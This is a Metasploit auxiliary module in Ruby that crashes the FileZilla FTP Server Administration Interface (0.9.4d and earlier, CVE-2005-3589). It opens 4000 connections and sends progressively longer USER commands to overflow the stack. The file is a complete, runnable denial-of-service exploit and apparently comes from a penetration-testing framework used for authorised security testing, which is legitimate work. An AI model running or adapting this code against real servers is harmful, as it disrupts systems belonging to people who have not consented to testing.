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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		=> 'FileZilla FTP Server Admin Interface Denial of Service',
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      'Description'	=> %q{
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        This module triggers a Denial of Service condition in the FileZilla FTP
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        Server Administration Interface in versions 0.9.4d and earlier.
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        By sending a procession of excessively long USER commands to the FTP
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        Server, the Administration Interface (FileZilla Server Interface.exe)
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        when running, will overwrite the stack with our string and generate an
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        exception. The FileZilla FTP Server itself will continue functioning.
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      },
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      'Author' 		=> [ 'aushack' ],
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      'License'        	=> MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'BID', '15346' ],
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          [ 'CVE', '2005-3589' ],
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          [ 'EDB', '1336' ],
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          [ 'OSVDB', '20817' ]
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        ],
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      'DisclosureDate' => '2005-11-07'))
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  end
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  def run
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    print_status("Sending 4000 packets, this may take a while.")
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    4000.times do |x|
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      connect
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      sock.put("USER #{"A" * x}\r\n")
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      disconnect
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    end
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  end
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end
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